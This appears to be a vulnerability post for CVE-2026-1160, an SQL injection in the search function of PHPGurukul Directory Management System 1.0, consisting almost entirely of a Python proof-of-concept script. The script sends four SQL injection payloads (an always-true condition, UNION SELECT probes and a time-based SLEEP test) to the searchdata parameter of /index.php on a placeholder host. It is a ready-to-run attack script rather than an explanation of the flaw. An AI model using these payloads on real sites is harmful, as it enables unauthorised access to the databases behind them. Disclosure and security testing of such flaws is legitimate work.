CVE-2026-1160 PHPGurukul Directory Management System 1.0 SQL注入漏洞

import requests # CVE-2026-1160 SQL Injection PoC # Target: PHPGurukul Directory Management System 1.0 # Component: /index.php Search functionality # Parameter: searchdata target_url = "http://target-site.com/index.php" # Basic SQL injection test payload payloads = [ "' OR '1'='1", "' UNION SELECT NULL--", "' AND SLEEP(5)--", "' UNION SELECT version()--" ] def test_sqli(url, param='searchdata'): for payload in payloads: data = {param: payload} try: response = requests.post(url, data=data, timeout=10) print(f"Payload: {payload}") print(f"Status: {response.status_code}") print(f"Response length: {len(response.text)}") print("-" * 50) except requests.exceptions.RequestException as e: print(f"Error: {e}") if __name__ == "__main__": test_sqli(target_url)